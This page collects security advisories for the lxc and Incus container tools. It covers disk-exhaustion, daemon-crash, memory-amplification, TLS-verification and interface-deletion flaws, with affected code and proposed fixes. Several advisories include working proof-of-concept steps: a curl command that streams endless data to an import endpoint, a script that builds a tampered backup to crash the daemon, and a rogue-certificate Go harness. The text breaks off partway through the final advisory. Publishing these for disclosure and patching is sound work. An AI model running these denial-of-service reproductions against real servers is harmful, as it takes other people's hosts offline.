Where
-Infinity
0

Vendor Risk Score

See how linuxcontainers compares to other vendors in security performance

View Risk Score →
Severity
4.3
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

lxc is a Linux container runtime. In the setuid helper lxc-user-nic, the delete path contains a logic flaw in the findline() function that allows an unprivileged user to delete OVS-attached network interfaces belonging to other users. When lxc-user-nic delete scans its NIC database to authorize a deletion request, the interface name comparison can set the authorization flag based on a name match alone, even when the ownership, type, and link fields in that database entry belong to a different user. The vulnerable check sits after the goto next label handling, meaning it is reachable on lines where earlier ownership checks failed or were skipped. Because nothing downstream of this authorization signal re-verifies that the matched database line actually belongs to the caller, an unprivileged attacker with a valid lxc-usernet policy entry can trigger deletion of another user's OVS port on the same bridge.

This is limited to multi-tenant environments using lxc-user-nic with OpenVSwitch bridges. The impact is denial of service - one tenant can repeatedly disconnect networking from containers run by another tenant on shared infrastructure. This is patched in version 7.0.0.

First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L

Summary Uploads of large amount of data by authenticated users can run the Incus server out of disk space, potentially taking down the host system.

The impact here is limited for anyone using storage.imagesvolume and storage.backupsvolume as those users will have large uploads be stored on those volumes rather than directly on the host filesystem. This is the default behavior on IncusOS.

Details Multiple binary import paths accept application/octet-stream requests and stream the HTTP request body directly into temporary files on the host without any visible request-size limit on the upload path.

When these endpoints receive binary content, the daemon routes the request body into import routines that create temporary files under daemon-controlled host storage locations and copy the full attacker-controlled stream into them using direct io.Copy operations. This write occurs before the uploaded content is fully parsed and before later validation can reject the import.

Because no visible http.MaxBytesReader, io.LimitReader, quota-aware wrapper, or equivalent size-enforcement mechanism is present around these upload paths, an authenticated attacker can supply an arbitrarily large continuous stream of data. This causes the daemon to keep writing unbounded input to host storage until the operation fails or the underlying file system is exhausted. In a multi-tenant deployment, this can be used to consume shared disk space and cause denial of service on the node.

The binary import handlers are reachable through application/octet-stream request paths in the instance backup import, storage bucket import, and storage volume import flows, where the request body is passed directly into import helpers handling backup and ISO uploads.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/instancespost.go

Affected Code: func createFromBackup(s state.State, r http.Request, projectName string, data io.Reader, pool string, instanceName string, config string, device string) response.Response { reverter := revert.New() defer reverter.Fail()

// Create temporary file to store uploaded backup data. backupFile, err := os.CreateTemp(internalUtil.VarPath("backups"), fmt.Sprintf("%s", backup.WorkingDirPrefix)) if err != nil { return response.InternalError(err) }

defer func() { = os.Remove(backupFile.Name()) }() reverter.Add(func() { = backupFile.Close() })

// Stream uploaded backup data into temporary file. , err = io.Copy(backupFile, data) if err != nil { return response.InternalError(err) } [...] }

Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/storagebuckets.go

Affected Code: func createStoragePoolBucketFromBackup(s state.State, r http.Request, requestProjectName string, projectName string, data io.Reader, pool string, bucketName string) response.Response { [...] backupFile, err := os.CreateTemp(internalUtil.VarPath("backups"), fmt.Sprintf("%s", backup.WorkingDirPrefix)) [...] , err = io.Copy(backupFile, data) [...] }

Affected File: https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/storagevolumes.go

Affected Code: func createStoragePoolVolumeFromBackup(s state.State, r http.Request, requestProjectName string, projectName string, data io.Reader, pool string, volName string) response.Response { [...] backupFile, err := os.CreateTemp(internalUtil.VarPath("backups"), fmt.Sprintf("%s", backup.WorkingDirPrefix)) [...] , err = io.Copy(backupFile, data) [...] }

[...]

func createStoragePoolVolumeFromISO(s state.State, r http.Request, requestProjectName string, projectName string, data io.Reader, pool string, volName string) response.Response { [...] isoFile, err := os.CreateTemp(internalUtil.VarPath("isos"), fmt.Sprintf("%s", "incusiso")) [...] size, err := io.Copy(isoFile, data) [...] }

PoC The following PoC demonstrates one reachable instance of this issue through the instance import endpoint. The same unbounded upload-to-tempfile pattern is also present in storage bucket backup import, storage volume backup import, and storage volume ISO import handlers.

Step 1: Trigger the sustained upload stream

From an Incus client with access to the target server, open a long-lived application/octet-stream upload and continuously stream null bytes into the instance import endpoint. Using timeout 120 limits the reproduction to two minutes while still demonstrating that the daemon keeps writing attacker-controlled input for as long as the connection remains open.

Commands: echo "[] Initiating a 2-minute sustained disk exhaustion attack..."

timeout 120 cat /dev/zero | curl -k -X POST \ --cert ~/.config/incus/client.crt \ --key ~/.config/incus/client.key \ "https://7atest.dev.stgraber.org:443/1.0/instances?project=default" \ -H "Content-Type: application/octet-stream" \ -T -

Step 2: Verify host-side disk growth during the upload

On the Incus host, observe the temporary backup file being actively written under the backups directory while the client keeps the stream open.

Command: watch -n 1 "ls -lh /var/lib/incus/backups/"

Result: total 100M drwx------ 2 root root 4.0K Mar 1 22:44 custom -rw------- 1 root root 100M Mar 23 10:46 incusbackup2743299426 drwx------ 2 root root 4.0K Mar 1 22:44 instances

total 106M drwx------ 2 root root 4.0K Mar 1 22:44 custom -rw------- 1 root root 106M Mar 23 10:46 incusbackup2743299426 drwx------ 2 root root 4.0K Mar 1 22:44 instances

total 110M drwx------ 2 root root 4.0K Mar 1 22:44 custom -rw------- 1 root root 110M Mar 23 10:46 incusbackup2743299426 drwx------ 2 root root 4.0K Mar 1 22:44 instances

total 113M drwx------ 2 root root 4.0K Mar 1 22:44 custom -rw------- 1 root root 113M Mar 23 10:46 incusbackup2743299426 drwx------ 2 root root 4.0K Mar 1 22:44 instances

Step 3: Observe post-stream failure behavior

When the client-side timeout expires, the upload is interrupted locally and the stream stops. In this reproduction, that means the process is terminated before any later import-stage error is surfaced back to the client. This does not mitigate the issue during the active upload window, because io.Copy continues writing to disk for as long as the attacker keeps the stream open.

It is recommended to enforce a maximum request size or quota-aware upload limit in the affected binary import paths before any data is written to disk. The incoming request body should be wrapped with http.MaxBytesReader, io.LimitReader, or an equivalent quota-aware mechanism so that oversized uploads fail safely before consuming unbounded host storage. By contrast, other upload flows such as image upload appear to use internalIO.NewQuotaWriter(..., budget) when persisting request data, but no analogous quota enforcement is visible in the affected binary import handlers.

A patch is available at https://github.com/lxc/incus/releases/tag/v7.0.0.

Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Null Pointer Dereference
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary

Details It was found that backup.GetInfo() trusts the inline backup/index.yaml config when present and only falls back to parsing the legacy backup/container/backup.yaml file if result.Config == nil. As a result, an archive can carry a valid inline config that passes the initial import preflight while also carrying a malformed legacy backup/container/backup.yaml file that is reparsed later from the restored file system.

ParseConfigYamlFile() accepts YAML documents with no container section, and multiple downstream consumers then dereference .Container without checking for nil. Confirmed examples in the instance restore and import flow include backup.UpdateInstanceConfig() and internalImportFromBackup().

An authenticated user with permission to import instance backups may be able to crash the Incus daemon with a crafted backup archive whose inline backup/index.yaml is valid but whose extracted legacy backup.yaml omits container. The crash occurs in the restore path after archive extraction has begun.

The flow is as follows: A crafted backup archive contains a valid backup/index.yaml file together with a malformed backup/container/backup.yaml file that omits the container section. backup.GetInfo() parses backup/index.yaml successfully, so bInfo.Config is populated from the inline config. Because result.Config != nil, GetInfo() does not fall back to backup/container/backup.yaml. instancespost.go then builds the request from bInfo.Config.Container, which succeeds because the inline config is valid. Later, storage unpack extracts backup/container/backup.yaml into the instance volume as <mountPath>/backup.yaml. backend.go then calls backup.UpdateInstanceConfig(..., mountPath), which reparses <mountPath>/backup.yaml through ParseConfigYamlFile(). Because ParseConfigYamlFile() accepts YAML with no container section, backup.Container == nil, and later access to backup.Container.Devices or backup.Container.ExpandedDevices can trigger a nil-pointer dereference.

Affected Files: - https://github.com/lxc/incus/blob/v6.22.0/internal/server/backup/backupinfo.go#L87 - https://github.com/lxc/incus/blob/v6.22.0/internal/server/backup/backupinfo.go#L115 - https://github.com/lxc/incus/blob/v6.22.0/internal/server/backup/backupconfigutils.go#L85 - https://github.com/lxc/incus/blob/v6.22.0/internal/server/backup/backupconfigutils.go#L159 - https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go#L809 - https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/apiinternal.go#L749

The initial backup-metadata parser prefers inline backup/index.yaml content:

Affected Code: if hdr.Name == backupIndexPath { err = yaml.NewDecoder(tr).Decode(&result)

The legacy backup/container/backup.yaml file is only parsed if the inline config is absent:

Affected Code: if result.Config == nil && hdr.Name == "backup/container/backup.yaml" { err = yaml.NewDecoder(tr).Decode(&result.Config)

ParseConfigYamlFile() accepts an empty YAML document, or one with no container section, without validation:

Affected Code: func ParseConfigYamlFile(path string) (config.Config, error) { data, err := os.ReadFile(path) ... backupConf := config.Config{} err = yaml.Unmarshal(data, &backupConf)

UpdateInstanceConfig() conditionally uses backup.Container at first but later dereferences it unconditionally:

Affected Code: if backup.Container != nil { backup.Container.Name = b.Name backup.Container.Project = b.Project }

if updateRootDevicePool(backup.Container.Devices, pool.Name) { rootDiskDeviceFound = true }

if updateRootDevicePool(backup.Container.ExpandedDevices, pool.Name) { rootDiskDeviceFound = true }

Another confirmed sink is present in internalImportFromBackup():

Affected Code: if allowNameOverride { backupConf.Container.Name = instName }

if instName != backupConf.Container.Name { return fmt.Errorf("Instance name requested %q doesn't match instance name in backup config %q", instName, backupConf.Container.Name) }

This was confirmed as follows:

Command: go test ./test/fuzz -run='TestExtractedBackupYAMLMissingContainerNilDereference' -count=1 -v

Output:

=== RUN TestExtractedBackupYAMLMissingContainerNilDereference === RUN TestExtractedBackupYAMLMissingContainerNilDereference/legacybackupempty extractedbackupyamlpoctest.go:70: UpdateInstanceConfig panicked on malformed extracted backup.yaml (container is nil): runtime error: invalid memory address or nil pointer dereference === RUN TestExtractedBackupYAMLMissingContainerNilDereference/legacybackuppoolonly extractedbackupyamlpoctest.go:70: UpdateInstanceConfig panicked on malformed extracted backup.yaml (container is nil): runtime error: invalid memory address or nil pointer dereference === RUN TestExtractedBackupYAMLMissingContainerNilDereference/legacybackupvolumeonly extractedbackupyamlpoctest.go:70: UpdateInstanceConfig panicked on malformed extracted backup.yaml (container is nil): runtime error: invalid memory address or nil pointer dereference --- FAIL: TestExtractedBackupYAMLMissingContainerNilDereference (0.21s) FAIL

It is recommended to validate the parsed legacy backup.yaml structure before any dereference and to fail with a standard error if Container is missing:

Proposed Fix: if backup.Container == nil { return errors.New("No container struct in the backup file found") }

That validation should be added at minimum in: backup.UpdateInstanceConfig() and internalImportFromBackup() before any backupConf.Container. access

More broadly, it is recommended to centralize backup-config validation so that both inline backup/index.yaml and extracted legacy backup.yaml files are checked against the same structural requirements before any restore or import consumer uses them.

A patch is available at https://github.com/lxc/incus/releases/tag/v7.0.0.

Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

1 / 2
Source: GitHub
First published (updated )
Severity
5.3
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary User provided image and backup tarballs would be unpacked and YAML files parsed without any size restrictions. This was making it easy for an authenticated user to provide a crafted image or backup tarball that when parsed by Incus would lead to a very large YAML document being loaded into memory, potentially causing the entire server to run out of memory.

Details It was found that getImageMetadata and backup.GetInfo call yaml.NewDecoder(tr).Decode() directly on the tar reader without limiting how many bytes the YAML decoder can consume. The tar entry hdr.Size is not checked before decoding.

A tar archive can be crafted in which metadata.yaml or backup/index.yaml declares a large size in the tar header, causing the YAML decoder to read and allocate proportional memory on the server. The gopkg.in/yaml.v2 library mitigates YAML alias and anchor bombs, such as “billion laughs,” through its built-in excessive-aliasing check. However, large flat YAML documents with many keys or long string values can still produce linear but amplified memory consumption of approximately 5x to 6x the input size.

A 200 MB tar entry for metadata.yaml may cause approximately 1.2 GB of heap allocations during decode, which may be sufficient to trigger an out-of-memory condition on a constrained daemon or significantly degrade service. Because the decode occurs in the daemon process, excessive garbage-collection pressure can affect concurrent operations. Appropriate API permissions are required to upload an image or backup archive.

Mitigating factors include the fact that the amplification is linear rather than exponential, at approximately 5x to 6x, and that upload bandwidth is the practical bottleneck for delivering large payloads.

Affected Files: - https://github.com/lxc/incus/blob/v6.22.0/cmd/incusd/images.go#L1456 - https://github.com/lxc/incus/blob/v6.22.0/internal/server/backup/backupinfo.go#L87 - https://github.com/lxc/incus/blob/v6.22.0/internal/server/backup/backupinfo.go#L115

Image metadata parsing reads YAML directly from the tar stream: Affected Code: if hdr.Name == "metadata.yaml" || hdr.Name == "./metadata.yaml" { err = yaml.NewDecoder(tr).Decode(&result)

Backup info parsing does the same:

Affected Code: if hdr.Name == backupIndexPath { err = yaml.NewDecoder(tr).Decode(&result)

if result.Config == nil && hdr.Name == "backup/container/backup.yaml" { err = yaml.NewDecoder(tr).Decode(&result.Config)

This was confirmed as follows:

Command: go test ./test/fuzz -run='TestUnboundedYAMLMetadataDecode' -count=1 -v

Output: === RUN TestUnboundedYAMLMetadataDecode imagemetadatapoctest.go:80: metadata.yaml size: 10.2 MB imagemetadatapoctest.go:113: metadata.yaml hdr.Size = 10688940 bytes (10.2 MB) -- no size check exists in getImageMetadata before yaml.NewDecoder(tr).Decode() imagemetadatapoctest.go:124: decoded 50000 properties from 10.2 MB metadata.yaml imagemetadatapoctest.go:125: yaml.NewDecoder(tr).Decode() accepted 10.2 MB metadata.yaml with 50000 properties -- no hdr.Size check or io.LimitReader in images.go:1457 or backupinfo.go:88 --- FAIL: TestUnboundedYAMLMetadataDecode (0.11s) FAIL

It is recommended to add a size check on hdr.Size before YAML decoding and to wrap the tar reader in io.LimitReader.

Proposed Fix: const maxMetadataSize = 1 << 20 // 1 MB

if hdr.Size > maxMetadataSize { return nil, fmt.Errorf("metadata entry too large: %d bytes", hdr.Size) }

err = yaml.NewDecoder(io.LimitReader(tr, maxMetadataSize)).Decode(&result)

A patch is available at https://github.com/lxc/incus/releases/tag/v7.0.0.

Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Null Pointer Dereference
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary Missing error handling could lead an authenticated Incus user to cause a daemon crash through the import of a truncated storage bucket backup file.

Details It was found that TransferManager.UploadAllFiles iterates over tar entries but only checks for io.EOF from tr.Next(). When tr.Next() returns a non-EOF error, such as unexpected EOF from a truncated archive, the header hdr is nil and the code continues to access hdr.Name, causing a nil-pointer dereference that panics the daemon.

This may allow the Incus daemon to be crashed during S3 bucket restore if a truncated or corrupted backup archive is provided. A panic can occur when a malformed archive produces a non-EOF tar read error after the first entry. Any caller of UploadAllFiles that processes attacker-controlled archive content may be affected.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/…server/storage/s3/transfermanager.go#L127

The tar-iteration loop only checks for EOF:

Affected Code: for { hdr, err := tr.Next() if err == io.EOF { break // End of archive. }

// Skip index.yaml file if hdr.Name == "backup/index.yaml" {

When tr.Next() returns a non-EOF error, hdr is nil. The code does not check for this case and immediately dereferences hdr.Name.

This was confirmed as follows:

Command: go test ./test/fuzz -run='FuzzS3BucketUploadTarParsing/s3nildereftruncatedtar' -count=1 -v

Output: === RUN FuzzS3BucketUploadTarParsing === RUN FuzzS3BucketUploadTarParsing/s3nildereftruncatedtar s3bucketuploadfuzztest.go:82: UploadAllFiles panicked: runtime error: invalid memory address or nil pointer dereference --- FAIL: FuzzS3BucketUploadTarParsing/s3nildereftruncatedtar (0.00s) FAIL

It is recommended to add a non-EOF error check after tr.Next().

Proposed Fix: hdr, err := tr.Next() if err == io.EOF { break }

if err != nil { return fmt.Errorf("Error reading backup archive: %w", err) }

A patch is available at https://github.com/lxc/incus/releases/tag/v7.0.0.

Credits This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
Out-of-bounds Read
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.

Details The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays. The same flawed pattern also appears in the migration path.

When iterating through physical snapshots provided in a backup archive, the loop uses the index i to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. To ensure that the metadata slice is long enough, the code uses the guard condition len(slice) >= i-1. This check is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds, including when i >= len(slice), triggering a runtime panic.

An attacker can trigger this by submitting a backup archive that contains physical snapshot directories, which drive the loop variable i, while supplying a tampered index.yaml with an empty or truncated snapshot metadata array. This causes the daemon to index beyond the end of the metadata slice and crash, resulting in immediate denial of service on the node.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go

Affected Code: func (b backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op operations.Operation) (func(instance.Instance) error, revert.Hook, error) { [...] postHook := func(inst instance.Instance) error { [...] for i, backupFileSnap := range srcBackup.Snapshots { var volumeSnapDescription string var volumeSnapConfig map[string]string var volumeSnapExpiryDate time.Time var volumeSnapCreationDate time.Time

// Check if snapshot volume config is available for restore and matches snapshot name. if srcBackup.Config != nil { if len(srcBackup.Config.Snapshots) >= i-1 && srcBackup.Config.Snapshots[i] != nil && srcBackup.Config.Snapshots[i].Name == backupFileSnap { // Use instance snapshot's creation date if snap info available. volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt }

if len(srcBackup.Config.VolumeSnapshots) >= i-1 && srcBackup.Config.VolumeSnapshots[i] != nil && srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap { // If the backup restore interface provides volume snapshot config use it, // otherwise use default volume config for the storage pool. volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config

if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil { volumeSnapExpiryDate = srcBackup.Config.VolumeSnapshots[i].ExpiresAt }

// Use volume's creation date if available. if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() { volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt } } }

[...] } [...] } [...] }

[...]

func (b backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op operations.Operation) error { [...] if !isRemoteClusterMove || args.StoragePool != "" { for i, snapshot := range args.Snapshots { snapName := snapshot.GetName() newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName) snapConfig := vol.Config() // Use parent volume config by default. snapDescription := volumeDescription // Use parent volume description by default. snapExpiryDate := time.Time{} snapCreationDate := time.Time{}

// If the source snapshot config is available, use that. if srcInfo != nil && srcInfo.Config != nil { if len(srcInfo.Config.Snapshots) >= i-1 && srcInfo.Config.Snapshots[i] != nil && srcInfo.Config.Snapshots[i].Name == snapName { // Use instance snapshot's creation date if snap info available. snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt }

if len(srcInfo.Config.VolumeSnapshots) >= i-1 && srcInfo.Config.VolumeSnapshots[i] != nil && srcInfo.Config.VolumeSnapshots[i].Name == snapName { // Check if snapshot volume config is available then use it. snapDescription = srcInfo.Config.VolumeSnapshots[i].Description snapConfig = srcInfo.Config.VolumeSnapshots[i].Config

if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil { snapExpiryDate = srcInfo.Config.VolumeSnapshots[i].ExpiresAt }

// Use volume's creation date if available. if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() { snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt } } }

[...] } } [...] }

PoC

The following PoC demonstrates that a tampered instance backup archive containing physical snapshot directories but an empty snapshot metadata array can trigger an out-of-bounds panic during restore.

Step 1: Generate a valid backup and tamper with its snapshot metadata

From an Incus client with access to the target server, create a minimal instance, create a snapshot, export it, and then modify the exported index.yaml so that the physical snapshot directory remains present while the nested snapshot metadata arrays are emptied.

Commands: cat <<'EOF' > pocsnapshotbounds.sh #!/bin/bash set -e

BASENAME="base-$(date +%s)" PANICNAME="panic-$(date +%s)"

incus init images:alpine/edge "$BASENAME" --project default incus snapshot create "$BASENAME" snap0 --project default incus export "$BASENAME" validsnapshotbase.tar.gz --project default

mkdir -p extractsnapshotbounds tar -xzf validsnapshotbase.tar.gz -C extractsnapshotbounds/ chmod -R u+rwX extractsnapshotbounds/

python3 -c " import os import sys

base = '$BASENAME' panic = '$PANICNAME'

with open('extractsnapshotbounds/backup/index.yaml', 'r') as f: lines = f.read().splitlines()

out = [] inskip = False skipindent = 0

for line in lines: line = line.replace(base, panic) indent = len(line) - len(line.lstrip())

if inskip: if not line.strip(): continue if indent > skipindent or (indent == skipindent and line.lstrip().startswith('-')): continue else: inskip = False

if indent > 0 and (line.lstrip().startswith('snapshots:') or line.lstrip().startswith('volumesnapshots:')): out.append(line.split(':')[0] + ': []') inskip = True skipindent = indent continue

out.append(line)

with open('extractsnapshotbounds/backup/index.yaml', 'w') as f: f.write('\n'.join(out)) "

cd extractsnapshotbounds/ tar -czf ../exploitsnapshotboundspanic.tar.gz backup/ cd ..

rm -rf extractsnapshotbounds/ validsnapshotbase.tar.gz echo "[+] PoC Tarball Created: exploitsnapshotboundspanic.tar.gz" EOF

bash pocsnapshotbounds.sh

Result: [+] PoC Tarball Created: exploitsnapshotboundspanic.tar.gz

Step 2: Trigger the vulnerable restore path

From the same Incus client, import the crafted archive.

Command: incus import exploitsnapshotboundspanic.tar.gz --project default

Result: Error: websocket: close 1006 (abnormal closure): unexpected EOF

Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

1 / 2
Source: GitHub
First published (updated )
Severity
2.3
AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Summary Broken TLS validation logic in the OVN database connection logic could allow connections to an attacker's OVN database.

OVN uses mTLS for authentication, so the attacker cannot actually perform a full man in the middle attack as they won't be able to authenticated with the real OVN deployment. At best they can provide a replacement empty database which Incus will briefly interact with before hitting errors due to the rest of the OVN stack not reacting to the committed changes.

Also worth noting that the OVN control plane is typically run on the same servers that run Incus, there is typically no routing involved between an Incus server and the OVN control plane, making such an attack extremely difficult to pull off in the first place.

Details The OVN client implementations within Incus disable Go standard TLS server verification (InsecureSkipVerify: true) and replace it with custom peer-certificate verification logic. That replacement verifier does not anchor trust in the configured CA certificate. Instead, it constructs the verification root set from certificates supplied by the peer during the handshake. As a result, the configured CA is parsed but not used as the trust anchor for the final verification decision.

Although a configured CA certificate (tlsCAcert) is parsed and added to a client CA pool, that pool is not used during the final verification decision. Instead, the callback creates a fresh roots pool from the raw certificates received over the wire and verifies the presented leaf certificate against those attacker-influenced roots. No endpoint identity validation is visible in the provided verification logic.

In OVN-enabled Incus deployments that use these SSL database connection paths, this affects authenticated connections from Incus to the OVN northbound and southbound databases. Incus documents clustered OVN deployments in which the OVN distributed database runs across multiple servers, and upstream OVN documentation describes the northbound database as the interface used by the cloud management system and the southbound database as the central coordination point for logical and physical network state.

Because the custom verifier accepts peer-supplied trust anchors, an attacker able to impersonate or intercept the OVN endpoint on the management network can present a rogue self-signed certificate chain. Incus will accept this certificate as valid, collapsing the configured CA-based trust model. Because Incus exposes dedicated OVN TLS settings for a CA certificate, client certificate, and client key, the implementation clearly intends to authenticate OVN database connections using operator-supplied trust material rather than peer-supplied certificates. By abandoning the configured CA pool and instead trusting peer-supplied roots, the implementation defeats the intended authentication boundary on OVN database connections and permits endpoint impersonation by an active attacker able to intercept or stand in for the OVN database service.

In clustered OVN-backed Incus deployments, this flaw reduces CA-anchored authentication of OVN database connections to endpoint impersonation for an attacker with a suitable position on the management or control-plane network. This is especially significant because OVN northbound and southbound databases are the authoritative control-plane interfaces for logical network configuration, translation, and distribution to hypervisors and gateways. As a result, the issue is best understood as a control-plane authentication failure with potentially broad networking impact, not merely as generic TLS misconfiguration.

Affected Files: https://github.com/lxc/incus/blob/v6.22.0/internal/server/network/ovn/ovnnb.go https://github.com/lxc/incus/blob/v6.22.0/internal/server/network/ovn/ovnsb.go https://github.com/lxc/incus/blob/v6.22.0/internal/server/network/ovn/ovnicnb.go https://github.com/lxc/incus/blob/v6.22.0/internal/server/network/ovn/ovnicsb.go

Affected Code: func NewNB(dbAddr string, sslCACert string, sslClientCert string, sslClientKey string) (NB, error) { [...] if strings.Contains(dbAddr, "ssl:") { [...] tlsConfig := &tls.Config{ Certificates: []tls.Certificate{clientCert}, InsecureSkipVerify: true, }

if sslCACert != "" { [...] tlsCAcert, err := x509.ParseCertificate(tlsCAder.Bytes) if err != nil { return nil, err }

tlsCAcert.IsCA = true tlsCAcert.KeyUsage = x509.KeyUsageCertSign

clientCAPool := x509.NewCertPool() clientCAPool.AddCert(tlsCAcert)

tlsConfig.VerifyPeerCertificate = func(rawCerts [][]byte, chains [][]x509.Certificate) error { if len(rawCerts) < 1 { return errors.New("Missing server certificate") }

roots := x509.NewCertPool() for , rawCert := range rawCerts { cert, := x509.ParseCertificate(rawCert) if cert != nil { roots.AddCert(cert) } }

cert, := x509.ParseCertificate(rawCerts[0]) if cert == nil { return errors.New("Bad server certificate") }

opts := x509.VerifyOptions{ Roots: roots, }

, err := cert.Verify(opts) return err } }

options = append(options, ovsdbClient.WithTLSConfig(tlsConfig)) } [...] }

The same verification pattern is duplicated in the other affected files listed above.

Verification-Logic Proof of Concept

Because the vulnerability resides entirely in the certificate-verification logic, it can be demonstrated in isolation without a live interception lab. The following Go harness reproduces the effective OVN client verification logic, generates a rogue self-signed certificate, and demonstrates that the implemented trust decision accepts peer-supplied roots instead of the configured CA pool.

Commands: cat <<'EOF' > pocovntlsroots.go package main

import ( "crypto/ed25519" "crypto/rand" "crypto/x509" "crypto/x509/pkix" "fmt" "math/big" "time" )

func main() { pub, priv, := ed25519.GenerateKey(rand.Reader)

template := x509.Certificate{ SerialNumber: big.NewInt(1), Subject: pkix.Name{ Organization: []string{"Attacker Corp MITM"}, }, NotBefore: time.Now(), NotAfter: time.Now().Add(time.Hour), KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageCertSign, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, BasicConstraintsValid: true, IsCA: true, }

rogueCertBytes, := x509.CreateCertificate(rand.Reader, &template, &template, pub, priv)

verifyPeerCertificate := func(rawCerts [][]byte) error { if len(rawCerts) < 1 { return fmt.Errorf("missing server certificate") }

roots := x509.NewCertPool() for , rawCert := range rawCerts { cert, := x509.ParseCertificate(rawCert) if cert != nil { roots.AddCert(cert) } }

cert, := x509.ParseCertificate(rawCerts[0]) if cert == nil { return fmt.Errorf("bad server certificate") }

opts := x509.VerifyOptions{ Roots: roots, }

, err := cert.Verify(opts) return err }

err := verifyPeerCertificate([][]byte{rogueCertBytes}) if err == nil { fmt.Println("[!] VULNERABLE: The reproduced OVN client verification logic accepted the rogue attacker certificate.") } else { fmt.Printf("Safe: Rejected with error: %v\n", err) } } EOF

go run pocovntlsroots.go

Result: [!] VULNERABLE: The reproduced OVN client verification logic accepted the rogue attacker certificate.

It is recommended to verify peer certificates against the configured CA pool rather than against roots synthesized from untrusted peer input. The safest fix is to remove the custom VerifyPeerCertificate logic and rely on Go standard TLS verification with tls.Config.RootCAs set to the configured CA pool and, where applicable, ServerName set appropriately for identity validation.

Credit This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)

1 / 2
Source: GitHub
First published (updated )
Severity
7.1
Null Pointer Dereference
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Summary Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.

Details The custom volume backup import subsystem contains a nil-pointer dereference vulnerability that allows an authenticated attacker to crash the daemon during import operations.

In the snapshot import loop, the daemon iterates over entries from srcBackup.Config.VolumeSnapshots, which is a slice of pointers. The implementation assumes that each slice element is non-nil and immediately dereferences it through expressions such as snapshot.Name, snapshot.Config, snapshot.Description, snapshot.CreatedAt, and snapshot.ExpiresAt without first validating that the element itself is initialized.

Because the YAML unmarshaler accepts explicit null array elements from an attacker-controlled index.yaml and converts them into nil pointers inside the slice, an authenticated attacker can supply a backup archive containing a null entry in the volumesnapshots array. This causes the daemon to dereference a nil pointer during custom volume import and terminate, resulting in immediate denial of service on the node.

Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go

Affected Code: func (b backend) CreateCustomVolumeFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op operations.Operation) error { [...] // Create database entries for new storage volume snapshots. for , s := range srcBackup.Config.VolumeSnapshots { snapshot := s // Local var for revert. snapName := snapshot.Name

// Due to a historical bug, the volume snapshot names were sometimes written in their full form // (<parent>/<snap>) rather than the expected snapshot name only form, so we need to handle both. if internalInstance.IsSnapshot(snapshot.Name) { , snapName, = api.GetParentAndSnapshotName(snapshot.Name) }

fullSnapName := drivers.GetSnapshotVolumeName(srcBackup.Name, snapName) snapVolStorageName := project.StorageVolume(srcBackup.Project, fullSnapName) snapVol := b.GetVolume(drivers.VolumeTypeCustom, drivers.ContentType(srcBackup.Config.Volume.ContentType), snapVolStorageName, snapshot.Config)

